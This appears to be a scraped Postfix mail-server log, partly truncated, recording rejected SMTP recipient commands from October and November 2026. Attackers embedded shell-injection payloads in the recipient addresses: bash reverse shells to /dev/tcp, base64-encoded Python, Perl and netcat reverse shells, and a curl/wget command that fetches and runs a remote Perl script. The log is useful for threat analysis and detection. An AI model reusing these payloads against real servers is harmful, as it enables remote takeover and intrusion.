2026-11-12T09:39:24.666619+00:00 mail postfix/smtpd[1533634]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-11-12T09:39:24.666619+00:00 mail postfix/smtpd[1533634]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP helo=<poc.invalid>
Nov 12 09:39:24 mail postfix/smtpd[1533634]: NOQUEUE: reject: RCPT from unknown[41.249.3.178]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/41.249.3.178/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP
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2026-11-12T04:32:06.136064+00:00 mail postfix/smtpd[1142645]: NOQUEUE: reject: RCPT from ec2-52-9-77 ...
show more2026-11-12T04:32:06.136064+00:00 mail postfix/smtpd[1142645]: NOQUEUE: reject: RCPT from ec2-52-9-77-225.us-west-1.compute.amazonaws.com[52.9.77.225]: 554 5.7.1 <x: Service status change: localhost $(echo${IFS}UD0naW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE4MC43MS4xOTQuMjQxIiwxMjM0MSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giXSk7JzsgZm9yIHggaW4gcHl0aG9uIHB5dGhvbjMgcHl0aG9uMjsgZG8gZWNobyAiJFAiIHwgJHggMj4vZGV2L251bGwgJiYgZXhpdDsgZG9uZTsgcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTgwLjcxLjE5NC4yNDEiOyRwPTEyMzQxO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2giKTt9OycgMj4vZGV2L251bGwgJiYgZXhpdDsgcm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bm
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2026-11-11T18:58:42.152666+00:00 mail postfix/smtpd[419204]: NOQUEUE: reject: RCPT from ec2-52-9-77- ...
show more2026-11-11T18:58:42.152666+00:00 mail postfix/smtpd[419204]: NOQUEUE: reject: RCPT from ec2-52-9-77-225.us-west-1.compute.amazonaws.com[52.9.77.225]: 554 5.7.1 <x: Service status change: localhost $(echo${IFS}UD0naW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE4MC43MS4xOTQuMjQxIiwxMjM0MSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giXSk7JzsgZm9yIHggaW4gcHl0aG9uIHB5dGhvbjMgcHl0aG9uMjsgZG8gZWNobyAiJFAiIHwgJHggMj4vZGV2L251bGwgJiYgZXhpdDsgZG9uZTsgcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTgwLjcxLjE5NC4yNDEiOyRwPTEyMzQxO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2giKTt9OycgMj4vZGV2L251bGwgJiYgZXhpdDsgcm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmM
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2026-11-11T18:11:03.690555+00:00 mail postfix/smtpd[359882]: NOQUEUE: reject: RCPT from unknown[105. ...
show more2026-11-11T18:11:03.690555+00:00 mail postfix/smtpd[359882]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP helo=<poc.invalid>
Nov 11 18:11:03 mail postfix/smtpd[359882]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.c
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2026-11-11T14:10:21.358538+00:00 mail postfix/smtpd[53587]: NOQUEUE: reject: RCPT from ec2-52-9-77-2 ...
show more2026-11-11T14:10:21.358538+00:00 mail postfix/smtpd[53587]: NOQUEUE: reject: RCPT from ec2-52-9-77-225.us-west-1.compute.amazonaws.com[52.9.77.225]: 554 5.7.1 <x: Service status change: localhost $(echo${IFS}UD0naW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE4MC43MS4xOTQuMjQxIiwxMjM0MSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giXSk7JzsgZm9yIHggaW4gcHl0aG9uIHB5dGhvbjMgcHl0aG9uMjsgZG8gZWNobyAiJFAiIHwgJHggMj4vZGV2L251bGwgJiYgZXhpdDsgZG9uZTsgcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTgwLjcxLjE5NC4yNDEiOyRwPTEyMzQxO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2giKTt9OycgMj4vZGV2L251bGwgJiYgZXhpdDsgcm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMg
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2026-11-11T06:36:18.569320+00:00 mail postfix/smtps/smtpd[585765]: NOQUEUE: reject: RCPT from ec2-52 ...
show more2026-11-11T06:36:18.569320+00:00 mail postfix/smtps/smtpd[585765]: NOQUEUE: reject: RCPT from ec2-52-9-77-225.us-west-1.compute.amazonaws.com[52.9.77.225]: 554 5.7.1 <x: Service status change: localhost $(echo${IFS}UD0naW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE4MC43MS4xOTQuMjQxIiwxMjM0MSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giXSk7JzsgZm9yIHggaW4gcHl0aG9uIHB5dGhvbjMgcHl0aG9uMjsgZG8gZWNobyAiJFAiIHwgJHggMj4vZGV2L251bGwgJiYgZXhpdDsgZG9uZTsgcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTgwLjcxLjE5NC4yNDEiOyRwPTEyMzQxO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2giKTt9OycgMj4vZGV2L251bGwgJiYgZXhpdDsgcm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+J
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2026-11-08T14:28:33.516974+00:00 mail postfix/smtpd[4118049]: NOQUEUE: reject: RCPT from unknown[105 ...
show more2026-11-08T14:28:33.516974+00:00 mail postfix/smtpd[4118049]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP helo=<poc.invalid>
Nov 8 14:28:33 mail postfix/smtpd[4118049]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com>
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2026-11-04T11:18:45.857421+00:00 mail postfix/smtpd[814904]: NOQUEUE: reject: RCPT from unknown[105. ...
show more2026-11-04T11:18:45.857421+00:00 mail postfix/smtpd[814904]: NOQUEUE: reject: RCPT from unknown[105.156.206.173]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC8xMDUuMTU2LjIwNi4xNzMvNDQzOyBjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQ==|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC8xMDUuMTU2LjIwNi4xNzMvNDQzOyBjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQ==|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Nov 4 11:18:45 mail postfix/smtpd[814904]: NOQUEUE: reject: RCPT from unknown[105.156.206.173]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC8xMDUuMTU2LjIwNi4xNzMvNDQzOyBjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1I
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2026-11-01T12:15:26.796390+00:00 mail postfix/smtpd[3845358]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-11-01T12:15:26.796390+00:00 mail postfix/smtpd[3845358]: NOQUEUE: reject: RCPT from unknown[41.140.200.241]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4xNDAuMjAwLjI0MS80NDM7IGNhdCA8JjUgfCB3aGlsZSByZWFkIGxpbmU7IGRvICRsaW5lIDI+JjUgPiY1OyBkb25l|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4xNDAuMjAwLjI0MS80NDM7IGNhdCA8JjUgfCB3aGlsZSByZWFkIGxpbmU7IGRvICRsaW5lIDI+JjUgPiY1OyBkb25l|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Nov 1 12:15:26 mail postfix/smtpd[3845358]: NOQUEUE: reject: RCPT from unknown[41.140.200.241]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4xNDAuMjAwLjI0MS80NDM7IGNhdCA8JjUgfCB3aGlsZSByZWFkIGxpbmU7IGRvICRsaW5lIDI+JjUgPiY1OyBkb
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2026-10-29T09:10:17.066433+00:00 mail postfix/smtpd[2368435]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-10-29T09:10:17.066433+00:00 mail postfix/smtpd[2368435]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 29 09:10:17 mail postfix/smtpd[2368435]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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2026-10-29T08:05:22.541479+00:00 mail postfix/smtpd[2286427]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-10-29T08:05:22.541479+00:00 mail postfix/smtpd[2286427]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 29 08:05:22 mail postfix/smtpd[2286427]: NOQUEUE: reject: RCPT from unknown[41.249.98.170]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuOTguMTcwLzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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2026-10-28T20:54:59.895218+00:00 mail postfix/smtpd[1439646]: NOQUEUE: reject: RCPT from unknown[105 ...
show more2026-10-28T20:54:59.895218+00:00 mail postfix/smtpd[1439646]: NOQUEUE: reject: RCPT from unknown[105.156.198.134]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC8xMDUuMTU2LjE5OC4xMzQvNDQzOyBjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQ==|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC8xMDUuMTU2LjE5OC4xMzQvNDQzOyBjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQ==|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 28 20:54:59 mail postfix/smtpd[1439646]: NOQUEUE: reject: RCPT from unknown[105.156.198.134]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC8xMDUuMTU2LjE5OC4xMzQvNDQzOyBjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY
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2026-10-27T10:28:47.104835+00:00 mail postfix/smtpd[3023677]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-10-27T10:28:47.104835+00:00 mail postfix/smtpd[3023677]: NOQUEUE: reject: RCPT from unknown[41.140.193.155]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4xNDAuMTkzLjE1NS80NDM7IGNhdCA8JjUgfCB3aGlsZSByZWFkIGxpbmU7IGRvICRsaW5lIDI+JjUgPiY1OyBkb25l|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4xNDAuMTkzLjE1NS80NDM7IGNhdCA8JjUgfCB3aGlsZSByZWFkIGxpbmU7IGRvICRsaW5lIDI+JjUgPiY1OyBkb25l|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 27 10:28:47 mail postfix/smtpd[3023677]: NOQUEUE: reject: RCPT from unknown[41.140.193.155]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4xNDAuMTkzLjE1NS80NDM7IGNhdCA8JjUgfCB3aGlsZSByZWFkIGxpbmU7IGRvICRsaW5lIDI+JjUgPiY1OyBkb
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2026-10-26T19:06:20.878089+00:00 mail postfix/smtpd[1863836]: NOQUEUE: reject: RCPT from unknown[61. ...
show more2026-10-26T19:06:20.878089+00:00 mail postfix/smtpd[1863836]: NOQUEUE: reject: RCPT from unknown[61.145.187.43]: 554 5.7.1 <x: Service status change: localhost $(echo Y3VybCAtcyA2MS4xNC4yMTAuNzEvLmovYXxwZXJsIDsgd2dldCAtcU8gLSA2MS4xNC4yMTAuNzEvLmovYXxwZXJs|base64 -d|bash) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(echo Y3VybCAtcyA2MS4xNC4yMTAuNzEvLmovYXxwZXJsIDsgd2dldCAtcU8gLSA2MS4xNC4yMTAuNzEvLmovYXxwZXJs|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
Oct 26 19:06:20 mail postfix/smtpd[1863836]: NOQUEUE: reject: RCPT from unknown[61.145.187.43]: 554 5.7.1 <x: Service status change: localhost $(echo Y3VybCAtcyA2MS4xNC4yMTAuNzEvLmovYXxwZXJsIDsgd2dldCAtcU8gLSA2MS4xNC4yMTAuNzEvLmovYXxwZXJs|base64 -d|bash) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(
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2026-10-26T12:38:25.034663+00:00 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-10-26T12:38:25.034663+00:00 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 26 12:38:25 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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2026-10-26T11:31:22.838562+00:00 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-10-26T11:31:22.838562+00:00 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 26 11:31:22 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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2026-10-23T21:28:14.969447+00:00 mail postfix/smtpd[1156757]: NOQUEUE: reject: RCPT from unknown[41. ...
show more2026-10-23T21:28:14.969447+00:00 mail postfix/smtpd[1156757]: NOQUEUE: reject: RCPT from unknown[41.249.157.57]: 504 5.5.2 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/172.86.86.60/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running>: Recipient address rejected: need fully-qualified address; from=<[email protected]> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/172.86.86.60/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"> proto=ESMTP helo=<poc.invalid>
Oct 23 21:28:14 mail postfix/smtpd[1156757]: NOQUEUE: reject: RCPT from unknown[41.249.157.57]: 504 5.5.2 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/172.86.86.60/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running>: Recipient address rejected: need fully-qualified address; from=<[email protected]> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/172.86.86.60/443 0>&1' >/dev/null 2>&1 &) changed from stopped
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